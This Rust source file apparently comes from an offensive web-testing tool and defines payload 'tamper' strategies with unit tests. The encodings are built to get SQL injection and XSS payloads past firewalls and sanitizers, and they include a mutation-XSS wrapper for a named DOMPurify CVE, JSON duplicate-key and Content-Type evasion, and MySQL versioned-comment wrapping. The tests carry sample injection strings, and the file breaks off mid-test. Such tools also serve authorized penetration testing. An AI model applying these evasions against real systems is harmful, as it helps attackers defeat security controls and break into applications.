use std::fmt::Write as _;
use super::TamperStrategy;
pub struct UrlEncodeTamper;
impl TamperStrategy for UrlEncodeTamper {
fn name(&self) -> &'static str {
"url_encode"
}
fn description(&self) -> &'static str {
"Standard URL encoding (%XX for each byte)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::url::url_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.15
}
}
pub struct DoubleUrlEncodeTamper;
impl TamperStrategy for DoubleUrlEncodeTamper {
fn name(&self) -> &'static str {
"double_url_encode"
}
fn description(&self) -> &'static str {
"Double URL encoding (%25XX) — bypasses WAFs that decode once"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::url::double_url_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.4
}
}
pub struct UnicodeEscapeTamper;
impl TamperStrategy for UnicodeEscapeTamper {
fn name(&self) -> &'static str {
"unicode_escape"
}
fn description(&self) -> &'static str {
"Unicode escape sequences (\\uXXXX)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::unicode_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.5
}
}
pub struct HtmlEntityTamper;
impl TamperStrategy for HtmlEntityTamper {
fn name(&self) -> &'static str {
"html_entity"
}
fn description(&self) -> &'static str {
"HTML entity encoding (&#xXX;)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::html_entity_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.3
}
}
pub struct CaseAlternationTamper;
pub struct PgChrDecomposeTamper;
impl TamperStrategy for PgChrDecomposeTamper {
fn name(&self) -> &'static str {
"pg_chr_decompose"
}
fn description(&self) -> &'static str {
"Convert 'admin' → (CHR(97)||CHR(100)||...) — Postgres/Oracle pipe-concat form"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::pg_chr_decompose(payload)
}
fn aggressiveness(&self) -> f64 {
0.6
}
}
pub struct SqlAdjacentStringConcatTamper;
impl TamperStrategy for SqlAdjacentStringConcatTamper {
fn name(&self) -> &'static str {
"sql_adjacent_string_concat"
}
fn description(&self) -> &'static str {
"Split 'string' → 'a' 'b' 'c' … via ANSI SQL adjacent-literal concat — defeats literal-substring rules with zero special characters"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::sql_adjacent_string_concat(payload)
}
fn aggressiveness(&self) -> f64 {
0.5
}
}
pub struct JsonUnicodeAlnumTamper;
impl TamperStrategy for JsonUnicodeAlnumTamper {
fn name(&self) -> &'static str {
"json_unicode_alnum"
}
fn description(&self) -> &'static str {
"Encode ASCII alphanumeric chars as `\\uXXXX`, leave punctuation bare — shatters keyword fingerprints inside JSON/JS contexts"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::json_unicode_alnum(payload)
}
fn aggressiveness(&self) -> f64 {
0.45
}
}
pub struct SqlCharDecomposeTamper;
impl TamperStrategy for SqlCharDecomposeTamper {
fn name(&self) -> &'static str {
"sql_char_decompose"
}
fn description(&self) -> &'static str {
"Convert 'admin' → CHAR(97,100,109,105,110) — int codepoints, no quoted tokens"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::sql_char_decompose(payload)
}
fn aggressiveness(&self) -> f64 {
0.6
}
}
pub struct SqlConcatSplitTamper;
impl TamperStrategy for SqlConcatSplitTamper {
fn name(&self) -> &'static str {
"sql_concat_split"
}
fn description(&self) -> &'static str {
"Convert 'admin' → CONCAT('a','d','m','i','n') — splits literal substrings"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::sql_concat_split(payload)
}
fn aggressiveness(&self) -> f64 {
0.55
}
}
pub struct MathBoldTamper;
impl TamperStrategy for MathBoldTamper {
fn name(&self) -> &'static str {
"math_bold"
}
fn description(&self) -> &'static str {
"Replace ASCII letters/digits with U+1D400 Math Bold (NFKC normalises back to ASCII)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::math_bold_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.5
}
}
pub struct HtmlEntityVariantsTamper;
impl TamperStrategy for HtmlEntityVariantsTamper {
fn name(&self) -> &'static str {
"html_entity_variants"
}
fn description(&self) -> &'static str {
"HTML entity encoding rotated across hex/HEX/decimal/zero-padded forms"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::unicode::html_entity_variants(payload)
}
fn aggressiveness(&self) -> f64 {
0.35
}
}
impl TamperStrategy for CaseAlternationTamper {
fn name(&self) -> &'static str {
"case_alternation"
}
fn description(&self) -> &'static str {
"Alternating upper/lower case (SeLeCt)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::keyword::case_alternate(payload)
}
fn aggressiveness(&self) -> f64 {
0.1
}
}
pub struct RandomCaseTamper;
impl TamperStrategy for RandomCaseTamper {
fn name(&self) -> &'static str {
"random_case"
}
fn description(&self) -> &'static str {
"Random mixed case"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::keyword::random_case_alternate(payload)
}
fn aggressiveness(&self) -> f64 {
0.12
}
}
pub struct WhitespaceInsertionTamper;
impl TamperStrategy for WhitespaceInsertionTamper {
fn name(&self) -> &'static str {
"whitespace_insertion"
}
fn description(&self) -> &'static str {
"Replace spaces with tabs"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::keyword::whitespace_insert(payload)
}
fn aggressiveness(&self) -> f64 {
0.2
}
}
pub struct SqlCommentTamper;
impl TamperStrategy for SqlCommentTamper {
fn name(&self) -> &'static str {
"sql_comment"
}
fn description(&self) -> &'static str {
"Replace spaces with SQL comments (/**/)"
}
fn tamper(&self, payload: &str, context: Option<&str>) -> String {
let _ = context;
crate::encoding::keyword::sql_comment_insert(payload)
}
fn aggressiveness(&self) -> f64 {
0.25
}
}
pub struct NullByteTamper;
impl TamperStrategy for NullByteTamper {
fn name(&self) -> &'static str {
"null_byte"
}
fn description(&self) -> &'static str {
"Null byte injection (%00 or %00.jpg)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::structural::null_byte_inject(payload)
.unwrap_or_else(|_| payload.to_string())
}
fn aggressiveness(&self) -> f64 {
0.6
}
}
pub struct OverlongUtf8Tamper;
impl TamperStrategy for OverlongUtf8Tamper {
fn name(&self) -> &'static str {
"overlong_utf8"
}
fn description(&self) -> &'static str {
"Overlong UTF-8 encoding for ASCII non-alphanumeric"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::structural::overlong_utf8(payload).unwrap_or_else(|_| payload.to_string())
}
fn aggressiveness(&self) -> f64 {
0.8
}
}
pub struct Base64Tamper;
impl TamperStrategy for Base64Tamper {
fn name(&self) -> &'static str {
"base64"
}
fn description(&self) -> &'static str {
"Base64 encoding"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::structural::base64_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.75
}
}
pub struct HexEncodeTamper;
impl TamperStrategy for HexEncodeTamper {
fn name(&self) -> &'static str {
"hex_encode"
}
fn description(&self) -> &'static str {
"Hexadecimal encoding"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
crate::encoding::structural::hex_encode(payload)
}
fn aggressiveness(&self) -> f64 {
0.85
}
}
pub struct ZeroWidthInjectTamper;
impl TamperStrategy for ZeroWidthInjectTamper {
fn name(&self) -> &'static str {
"zero_width_inject"
}
fn description(&self) -> &'static str {
"Inject zero-width Unicode chars between keyword bytes — bypasses WAFs that don't normalize Unicode"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
const ZW: [char; 4] = ['\u{200B}', '\u{200C}', '\u{200D}', '\u{180E}'];
let mut out = String::with_capacity(payload.len() * 4);
for (i, ch) in payload.chars().enumerate() {
out.push(ch);
if ch.is_ascii_alphabetic() {
out.push(ZW[i % ZW.len()]);
}
}
out
}
fn aggressiveness(&self) -> f64 {
0.55
}
}
pub struct PostgresDollarQuoteTamper;
impl TamperStrategy for PostgresDollarQuoteTamper {
fn name(&self) -> &'static str {
"postgres_dollar_quote"
}
fn description(&self) -> &'static str {
"Wrap single-quoted SQL string literals in `$tag$...$tag$` — Postgres-only, bypasses quote-pattern WAFs"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
let mut tag = String::with_capacity(4);
let h: u64 = payload
.bytes()
.fold(0u64, |a, b| a.wrapping_mul(31).wrapping_add(u64::from(b)));
for i in 0..4 {
let c = b'a' + ((h >> (i * 8)) % 26) as u8;
tag.push(c as char);
}
let mut out = String::with_capacity(payload.len() + 16);
let mut chars = payload.chars().peekable();
while let Some(c) = chars.next() {
if c == '\'' {
out.push('$');
out.push_str(&tag);
out.push('$');
while let Some(inner) = chars.next() {
if inner == '\'' {
if chars.peek() == Some(&'\'') {
out.push('\'');
out.push('\'');
chars.next();
} else {
break;
}
} else {
out.push(inner);
}
}
out.push('$');
out.push_str(&tag);
out.push('$');
} else {
out.push(c);
}
}
out
}
fn aggressiveness(&self) -> f64 {
0.6
}
}
pub struct MysqlVersionedCommentWrapTamper;
impl TamperStrategy for MysqlVersionedCommentWrapTamper {
fn name(&self) -> &'static str {
"mysql_versioned_comment_wrap"
}
fn description(&self) -> &'static str {
"Wrap payload in /*!50000 ... */ — MySQL executes, WAFs that strip comments see nothing"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
let outer = format!("/*!50000 {payload} */");
outer
}
fn aggressiveness(&self) -> f64 {
0.65
}
}
pub struct HexLiteralKeywordTamper;
impl TamperStrategy for HexLiteralKeywordTamper {
fn name(&self) -> &'static str {
"hex_literal_keyword"
}
fn description(&self) -> &'static str {
"Convert SQL `'string'` literals to `0xHHHH…` form — MySQL/Postgres execute identically, WAFs don't"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
let mut out = String::with_capacity(payload.len());
let mut chars = payload.chars().peekable();
while let Some(c) = chars.next() {
if c == '\'' {
let mut content = String::new();
while let Some(inner) = chars.next() {
if inner == '\'' {
if chars.peek() == Some(&'\'') {
content.push('\'');
chars.next();
} else {
break;
}
} else {
content.push(inner);
}
}
out.push_str("0x");
for b in content.bytes() {
let _ = write!(out, "{b:02x}");
}
} else {
out.push(c);
}
}
out
}
fn aggressiveness(&self) -> f64 {
0.7
}
}
pub struct BellSeparatorTamper;
impl TamperStrategy for BellSeparatorTamper {
fn name(&self) -> &'static str {
"bell_separator"
}
fn description(&self) -> &'static str {
"Replace ASCII space with BEL (U+0007) — SQL parsers tokenise, WAFs that only recognise canonical whitespace miss"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
payload.replace(' ', "\u{0007}")
}
fn aggressiveness(&self) -> f64 {
0.6
}
}
pub struct BracketConfusableTamper;
impl TamperStrategy for BracketConfusableTamper {
fn name(&self) -> &'static str {
"bracket_confusable"
}
fn description(&self) -> &'static str {
"Replace `<` / `>` with Unicode angle-bracket confusables — bypasses WAFs that pattern-match literal `<script>`"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
payload
.chars()
.map(|c| match c {
'<' => '\u{FF1C}',
'>' => '\u{FF1E}',
other => other,
})
.collect()
}
fn aggressiveness(&self) -> f64 {
0.5
}
}
pub struct MxssNamespaceWrapTamper;
impl TamperStrategy for MxssNamespaceWrapTamper {
fn name(&self) -> &'static str {
"mxss_namespace_wrap"
}
fn description(&self) -> &'static str {
"MathML-namespace mutation-XSS harness (DOMPurify ≤3.2.4 / CVE-2025-26791 bypass) — defeats sanitizers that namespace-aware-process the input but byte-serialise the output"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
format!("<math><mtext><table><mglyph><style><!--</style><img src=x {payload}>")
}
fn aggressiveness(&self) -> f64 {
0.55
}
}
pub struct JsonDupKeyTamper;
impl TamperStrategy for JsonDupKeyTamper {
fn name(&self) -> &'static str {
"json_dup_key"
}
fn description(&self) -> &'static str {
"JSON duplicate-key parser-disagreement (WAFFLED 2026): WAF reads first key (benign), backend reads last (payload)"
}
fn tamper(&self, payload: &str, _context: Option<&str>) -> String {
let escaped = json_escape_string(payload);
format!("{{\"q\":\"safe\",\"q\":\"{escaped}\"}}")
}
fn aggressiveness(&self) -> f64 {
0.50
}
}
pub struct CtStarvationTamper;
impl TamperStrategy for CtStarvationTamper {
fn name(&self) -> &'static str {
"ct_starvation"
}
fn description(&self) -> &'static str {
"Content-Type parser-dispatch starvation (WAFFLED 2026): pair payload with case-shuffled or omitted Content-Type so WAF skips body inspection"
}
fn tamper(&self, payload: &str, context: Option<&str>) -> String {
match context {
Some("body") | Some("form") | Some("json") | Some("multipart") => {
format!("q={payload}")
}
_ => payload.to_string(),
}
}
fn aggressiveness(&self) -> f64 {
0.35
}
}
#[must_use]
pub fn ct_starvation_header_for(payload: &str) -> &'static str {
const VARIANTS: &[&str] = &[
"APPLICATION/JSON",
"Application/Json",
"application/json; charset=ibm037",
"text/plain",
"application/x-www-form-urlencoded",
];
let mut hash: u32 = 5381;
for b in payload.as_bytes() {
hash = hash.wrapping_mul(33).wrapping_add(u32::from(*b));
}
VARIANTS[(hash as usize) % VARIANTS.len()]
}
fn json_escape_string(s: &str) -> String {
let mut out = String::with_capacity(s.len() + 2);
for ch in s.chars() {
match ch {
'"' => out.push_str("\\\""),
'\\' => out.push_str("\\\\"),
'\n' => out.push_str("\\n"),
'\r' => out.push_str("\\r"),
'\t' => out.push_str("\\t"),
c if (c as u32) < 0x20 => {
use std::fmt::Write as _;
let _ = write!(out, "\\u{:04x}", c as u32);
}
c => out.push(c),
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn url_encode_tamper() {
let strategy = UrlEncodeTamper;
assert_eq!(strategy.tamper("A<", None), "A%3C");
assert_eq!(strategy.aggressiveness(), 0.15);
}
#[test]
fn double_url_encode_tamper() {
let strategy = DoubleUrlEncodeTamper;
assert_eq!(strategy.tamper("A", None), "%2541");
assert!(strategy.tamper("%20", None).contains("%25"));
}
#[test]
fn case_alternation_tamper() {
let strategy = CaseAlternationTamper;
assert_eq!(strategy.tamper("select", None), "SeLeCt");
}
#[test]
fn random_case_tamper() {
let strategy = RandomCaseTamper;
let result = strategy.tamper("select", None);
assert_eq!(result.to_ascii_lowercase(), "select");
}
#[test]
fn null_byte_with_extension() {
let strategy = NullByteTamper;
assert_eq!(strategy.tamper("file.php", None), "file.php%00.jpg");
}
#[test]
fn null_byte_without_extension() {
let strategy = NullByteTamper;
assert_eq!(strategy.tamper("payload", None), "payload%00");
}
#[test]
fn sql_comment_insertion() {
let strategy = SqlCommentTamper;
let result = strategy.tamper("SELECT * FROM users", Some("sql"));
assert!(result.contains("/**/"));
assert_eq!(result, "SELECT/**/*/**/FROM/**/users");
}
#[test]
fn whitespace_insertion() {
let strategy = WhitespaceInsertionTamper;
let result = strategy.tamper("SELECT * FROM users", None);
assert!(result.contains('\t'));
assert_eq!(result, "SELECT\t*\tFROM\tusers");
}
#[test]
fn base64_tamper() {
let strategy = Base64Tamper;
assert_eq!(strategy.tamper("hello", None), "aGVsbG8=");
}
#[test]
fn hex_encode_tamper() {
let strategy = HexEncodeTamper;
assert_eq!(strategy.tamper("ABC", None), "414243");
}
#[test]
fn unicode_escape_tamper() {
let strategy = UnicodeEscapeTamper;
assert_eq!(strategy.tamper("AB", None), "\\u0041\\u0042");
}
#[test]
fn html_entity_tamper() {
let strategy = HtmlEntityTamper;
assert_eq!(strategy.tamper("<>", None), "<>");
}
#[test]
fn overlong_utf8_tamper() {
let strategy = OverlongUtf8Tamper;
let result = strategy.tamper("/", None);
assert!(result.contains("%C0"));
}
#[test]
fn url_encode_handles_unicode_input() {
let strategy = UrlEncodeTamper;
let out = strategy.tamper("café", None);
assert!(out.contains("%C3%A9"));
}
#[test]
fn url_encode_passes_through_unreserved_chars() {
let strategy = UrlEncodeTamper;
assert_eq!(strategy.tamper("ABCabc123-_.~", None), "ABCabc123-_.~");
}
#[test]
fn url_encode_empty_input() {
assert_eq!(UrlEncodeTamper.tamper("", None), "");
}
#[test]
fn url_encode_all_reserved_chars() {
let strategy = UrlEncodeTamper;
let reserved = "!*'();:@&=+$,/?#[]";
let out = strategy.tamper(reserved, None);
assert!(!out.contains('!'));
assert!(!out.contains('@'));
assert!(out.matches('%').count() >= reserved.len() - 1);
}
#[test]
fn double_url_encode_round_trips_to_original_after_two_decodes() {
let strategy = DoubleUrlEncodeTamper;
let encoded = strategy.tamper("' OR 1=1", None);
assert!(encoded.contains("%25"));
}
#[test]
fn double_url_encode_idempotent_on_already_encoded() {
let strategy = DoubleUrlEncodeTamper;
let once = strategy.tamper("%20", None);
let twice = strategy.tamper(&once, None);
assert_ne!(once, twice);
assert!(twice.contains("%25"));
}
#[test]
fn case_alternation_starts_uppercase() {
let strategy = CaseAlternationTamper;
let out = strategy.tamper("abcd", None);
let chars: Vec<char> = out.chars().collect();
assert!(chars[0].is_ascii_uppercase());
assert!(chars[1].is_ascii_lowercase());
assert!(chars[2].is_ascii_uppercase());
assert!(chars[3].is_ascii_lowercase());
}
#[test]
fn case_alternation_preserves_non_alpha_chars() {
let strategy = CaseAlternationTamper;
let out = strategy.tamper("a1b2c3", None);
assert_eq!(out, "A1b2C3");
}
#[test]
fn case_alternation_handles_unicode_alpha() {
let strategy = CaseAlternationTamper;
let _ = strategy.tamper("αβγ", None);
}
#[test]
fn case_alternation_lowercase_keyword_becomes_mixed_case() {
let strategy = CaseAlternationTamper;
let out = strategy.tamper("union select", None);
assert!(out.contains(' '));
let first = out.split_whitespace().next().unwrap_or("");
assert!(first.chars().any(|c| c.is_ascii_uppercase()));
assert!(first.chars().any(|c| c.is_ascii_lowercase()));
}
#[test]
fn random_case_preserves_length() {
let strategy = RandomCaseTamper;
for input in ["select", "DROP TABLE users", "1=1"] {
let out = strategy.tamper(input, None);
assert_eq!(out.len(), input.len());
}
}
#[test]
fn random_case_only_flips_alpha() {
let strategy = RandomCaseTamper;
let out = strategy.tamper("a1b2", None);
assert!(out.contains('1'));
assert!(out.contains('2'));
}
#[test]
fn null_byte_appends_when_no_extension() {
let strategy = NullByteTamper;
let out = strategy.tamper("payload_with_no_dot", None);
assert!(out.ends_with("%00"));
}
#[test]
fn null_byte_extension_replacement_keeps_basename() {
let strategy = NullByteTamper;
let out = strategy.tamper("shell.php", None);
assert!(out.contains("shell.php%00"));
assert!(out.ends_with(".jpg"));
}
#[test]
fn null_byte_empty_input() {
let strategy = NullByteTamper;
let out = strategy.tamper("", None);
assert_eq!(out, "%00");
}
#[test]
fn sql_comment_inserts_between_every_token() {
let strategy = SqlCommentTamper;
let out = strategy.tamper("UNION SELECT 1 FROM users", Some("sql"));
assert_eq!(out, "UNION/**/SELECT/**/1/**/FROM/**/users");
}
#[test]
fn sql_comment_single_token_unchanged() {
let strategy = SqlCommentTamper;
let out = strategy.tamper("SELECT", Some("sql"));
assert_eq!(out, "SELECT");
}
#[test]
fn sql_comment_handles_payload_with_multiple_spaces() {
let strategy = SqlCommentTamper;
let out = strategy.tamper("UNION SELECT", Some("sql"));
assert!(out.contains("/**/"));
assert!(out.contains("UNION"));
assert!(out.contains("SELECT"));
}
#[test]
fn whitespace_insertion_uses_tab() {
let strategy = WhitespaceInsertionTamper;
let out = strategy.tamper("SELECT *", None);
assert!(out.contains('\t'));
}
#[test]
fn whitespace_insertion_no_changes_when_no_space() {
let strategy = WhitespaceInsertionTamper;
assert_eq!(strategy.tamper("SELECT", None), "SELECT");
}
#[test]
fn base64_round_trips_through_decode() {
let strategy = Base64Tamper;
let encoded = strategy.tamper("hello world", None);
for c in encoded.chars() {
assert!(
c.is_ascii_alphanumeric() || matches!(c, '+' | '/' | '='),
"non-base64 char in encoded output: {c:?}"
);
}
}
#[test]
fn base64_empty_input() {
let strategy = Base64Tamper;
assert_eq!(strategy.tamper("", None), "");
}
#[test]
fn base64_padding_present_for_non_aligned_input() {
let strategy = Base64Tamper;
let out = strategy.tamper("A", None);
assert!(out.ends_with('='));
}
#[test]
fn hex_encode_two_chars_per_byte() {
let strategy = HexEncodeTamper;
let out = strategy.tamper("Ab", None);
assert_eq!(out, "4162");
assert_eq!(out.len(), 2 * "Ab".len());
}
#[test]
fn hex_encode_non_ascii_uses_multi_byte_form() {
let strategy = HexEncodeTamper;
let out = strategy.tamper("é", None);
assert_eq!(out.to_lowercase(), "c3a9");
}
#[test]
fn unicode_escape_format_uses_u_prefix() {
let strategy = UnicodeEscapeTamper;
let out = strategy.tamper("AB", None);
assert!(out.starts_with("\\u"));
assert_eq!(out.matches("\\u").count(), 2);
}
#[test]
fn unicode_escape_handles_non_bmp_chars() {
let strategy = UnicodeEscapeTamper;
let _ = strategy.tamper("\u{1F600}", None);
}
#[test]
fn html_entity_format_uses_hex_decimal() {
let strategy = HtmlEntityTamper;
let out = strategy.tamper("<>", None);
assert!(out.contains("&#x"));
assert!(out.ends_with(';'));
}
#[test]
fn html_entity_xss_payload_full_encode() {
let strategy = HtmlEntityTamper;
let out = strategy.tamper("<script>alert(1)</script>", None);
assert!(!out.contains('<'));
assert!(!out.contains('>'));
assert_eq!(out.matches('&').count(), out.matches(';').count());
}
#[test]
fn overlong_utf8_emits_two_byte_for_ascii() {
let strategy = OverlongUtf8Tamper;
let out = strategy.tamper("/", None);
assert!(out.contains("%C0"));
assert!(out.contains("%AF"));
}
#[test]
fn overlong_utf8_empty_input() {
let strategy = OverlongUtf8Tamper;
let out = strategy.tamper("", None);
assert_eq!(out, "");
}
#[test]
fn all_default_tampers_have_unique_names() {
let names = [
UrlEncodeTamper.name(),
DoubleUrlEncodeTamper.name(),
UnicodeEscapeTamper.name(),
HtmlEntityTamper.name(),
CaseAlternationTamper.name(),
RandomCaseTamper.name(),
WhitespaceInsertionTamper.name(),
SqlCommentTamper.name(),
NullByteTamper.name(),
OverlongUtf8Tamper.name(),
Base64Tamper.name(),
HexEncodeTamper.name(),
ZeroWidthInjectTamper.name(),
PostgresDollarQuoteTamper.name(),
MysqlVersionedCommentWrapTamper.name(),
BracketConfusableTamper.name(),
];
let set: std::collections::HashSet<&str> = names.iter().copied().collect();
assert_eq!(set.len(), names.len(), "duplicate tamper names: {names:?}");
}
#[test]
fn all_default_tampers_aggressiveness_in_range() {
for strat in [
&UrlEncodeTamper as &dyn TamperStrategy,
&DoubleUrlEncodeTamper,
&UnicodeEscapeTamper,
&HtmlEntityTamper,
&CaseAlternationTamper,
&RandomCaseTamper,
&WhitespaceInsertionTamper,
&SqlCommentTamper,
&NullByteTamper,
&OverlongUtf8Tamper,
&Base64Tamper,
&HexEncodeTamper,
] {
let a = strat.aggressiveness();
assert!(
(0.0..=1.0).contains(&a) && !a.is_nan(),
"{} aggressiveness {} out of [0,1]",
strat.name(),
a
);
}
}
#[test]
fn all_default_tampers_handle_empty_input_without_panic() {
for strat in [
&UrlEncodeTamper as &dyn TamperStrategy,
&DoubleUrlEncodeTamper,
&UnicodeEscapeTamper,
&HtmlEntityTamper,
&CaseAlternationTamper,
&RandomCaseTamper,
&WhitespaceInsertionTamper,
&SqlCommentTamper,
&OverlongUtf8Tamper,
&Base64Tamper,
&HexEncodeTamper,
] {
let _ = strat.tamper("", None);
}
}
#[test]
fn all_default_tampers_handle_huge_input_without_panic() {
let huge: String = "A".repeat(100_000);
for strat in [
&UrlEncodeTamper as &dyn TamperStrategy,
&CaseAlternationTamper,
&RandomCaseTamper,
&WhitespaceInsertionTamper,
&SqlCommentTamper,
&Base64Tamper,
&HexEncodeTamper,
&UnicodeEscapeTamper,
&HtmlEntityTamper,
] {
let _ = strat.tamper(&huge, None);
}
}
#[test]
fn all_default_tampers_handle_pure_ascii_keyword() {
let keyword = "UNION SELECT";
for strat in [
&UrlEncodeTamper as &dyn TamperStrategy,
&DoubleUrlEncodeTamper,
&CaseAlternationTamper,
&SqlCommentTamper,
&Base64Tamper,
&HexEncodeTamper,
&UnicodeEscapeTamper,
] {
let out = strat.tamper(keyword, None);
assert!(
!out.is_empty(),
"{} produced empty output on UNION SELECT",
strat.name()
);
}
}
#[test]
fn description_is_non_empty_for_every_tamper() {
for strat in [
&UrlEncodeTamper as &dyn TamperStrategy,
&DoubleUrlEncodeTamper,
&UnicodeEscapeTamper,
&HtmlEntityTamper,
&CaseAlternationTamper,
&RandomCaseTamper,
&WhitespaceInsertionTamper,
&SqlCommentTamper,
&NullByteTamper,
&OverlongUtf8Tamper,
&Base64Tamper,
&HexEncodeTamper,
&ZeroWidthInjectTamper,
&PostgresDollarQuoteTamper,
&MysqlVersionedCommentWrapTamper,
&BracketConfusableTamper,
] {
assert!(
!strat.description().is_empty(),
"{} has empty description",
strat.name()
);
}
}
#[test]
fn name_is_lowercase_ascii_snake_case_for_every_tamper() {
for strat in [
&UrlEncodeTamper as &dyn TamperStrategy,
&DoubleUrlEncodeTamper,
&UnicodeEscapeTamper,
&HtmlEntityTamper,
&CaseAlternationTamper,
&RandomCaseTamper,
&WhitespaceInsertionTamper,
&SqlCommentTamper,
&NullByteTamper,
&OverlongUtf8Tamper,
&Base64Tamper,
&HexEncodeTamper,
&ZeroWidthInjectTamper,
&PostgresDollarQuoteTamper,
&MysqlVersionedCommentWrapTamper,
&BracketConfusableTamper,
] {
let name = strat.name();
assert!(
name.chars()
.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '_'),
"tamper `{name}` has non-snake-case name"
);
assert!(!name.is_empty(), "empty name");
assert!(
!name.starts_with('_'),
"name `{name}` starts with underscore"
);
}
}
#[test]
fn zero_width_inject_splits_select_keyword() {
let strategy = ZeroWidthInjectTamper;
let out = strategy.tamper("SELECT", None);
let stripped: String = out
.chars()
.filter(|c| !matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
.collect();
assert_eq!(stripped, "SELECT");
assert_ne!(out, "SELECT");
for c in out.chars() {
assert!(
c.is_ascii_alphabetic()
|| matches!(c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'),
"unexpected codepoint {c:?}"
);
}
}
#[test]
fn zero_width_inject_skips_non_alpha_chars() {
let strategy = ZeroWidthInjectTamper;
let out = strategy.tamper("a 1 ' \"", None);
let zw_count = out
.chars()
.filter(|c| matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
.count();
assert_eq!(zw_count, 1);
}
#[test]
fn zero_width_inject_preserves_payload_after_strip() {
let strategy = ZeroWidthInjectTamper;
for input in &["SELECT", "alert(1)", "DROP TABLE users", "<script>"] {
let out = strategy.tamper(input, None);
let stripped: String = out
.chars()
.filter(|c| !matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
.collect();
assert_eq!(&stripped, input);
}
}
#[test]
fn zero_width_inject_rotates_through_all_four_zw_chars() {
let strategy = ZeroWidthInjectTamper;
let out = strategy.tamper("abcdefgh", None);
let zw_chars: Vec<char> = out
.chars()
.filter(|c| matches!(*c, '\u{200B}' | '\u{200C}' | '\u{200D}' | '\u{180E}'))
.collect();
assert_eq!(zw_chars.len(), 8);
let unique: std::collections::HashSet<char> = zw_chars.iter().copied().collect();
assert_eq!(unique.len(), 4);
assert!(
!out.contains('\u{FEFF}'),
"U+FEFF (BOM) must never appear in zero-width injection: {out:?}"
);
}
#[test]
fn zero_width_inject_empty_input() {
let strategy = ZeroWidthInjectTamper;
assert_eq!(strategy.tamper("", None), "");
}
#[test]
fn zero_width_inject_pure_punctuation_unchanged() {
let strategy = ZeroWidthInjectTamper;
assert_eq!(
strategy
.tamper("' OR 1=1 --", None)
.matches('\u{200B}')
.count()
+ strategy
.tamper("' OR 1=1 --", None)
.matches('\u{200C}')
.count()
+ strategy
.tamper("' OR 1=1 --", None)
.matches('\u{200D}')
.count()
+ strategy
.tamper("' OR 1=1 --", None)
.matches('\u{180E}')
.count(),
2
); }
#[test]
fn zero_width_inject_unicode_input_does_not_panic() {
let strategy = ZeroWidthInjectTamper;
let _ = strategy.tamper("café", None);
let _ = strategy.tamper("日本語", None);
let _ = strategy.tamper("🦀 rust", None);
}
#[test]
fn postgres_dollar_quote_wraps_single_quoted_literal() {
let strategy = PostgresDollarQuoteTamper;
let out = strategy.tamper("WHERE name = 'admin'", None);
assert!(!out.contains("'"));
assert!(out.contains("$"));
assert!(out.contains("admin"));
}
#[test]
fn postgres_dollar_quote_deterministic_tag() {
let strategy = PostgresDollarQuoteTamper;
let a = strategy.tamper("'admin'", None);
let b = strategy.tamper("'admin'", None);
assert_eq!(a, b);
}
#[test]
fn postgres_dollar_quote_no_change_when_no_quote() {
let strategy = PostgresDollarQuoteTamper;
assert_eq!(strategy.tamper("SELECT 1", None), "SELECT 1");
assert_eq!(strategy.tamper("UNION SELECT", None), "UNION SELECT");
}
#[test]
fn postgres_dollar_quote_handles_escaped_quote() {
let strategy = PostgresDollarQuoteTamper;
let out = strategy.tamper("'a''b'", None);
assert!(out.contains("a''b"), "got: {out}");
let bare_quote_count = out
.chars()
.scan(false, |inside, c| {
if c == '$' {
*inside = !*inside;
}
Some((c == '\'', *inside))
})
.filter(|(is_quote, inside)| *is_quote && !inside)
.count();
assert!(
bare_quote_count <= 2,
"Unexpected bare quotes in output: {out}"
);
}
#[test]
fn postgres_dollar_quote_empty_string_literal() {
let strategy = PostgresDollarQuoteTamper;
let out = strategy.tamper("''", None);
assert!(out.contains("$"));
assert!(!out.contains("'"));
}
#[test]
fn postgres_dollar_quote_tag_uses_full_az_alphabet() {
let strategy = PostgresDollarQuoteTamper;
let mut letters = std::collections::HashSet::new();
for i in 0..200 {
let payload = format!("'p{i}'");
let out = strategy.tamper(&payload, None);
let mut parts = out.split('$');
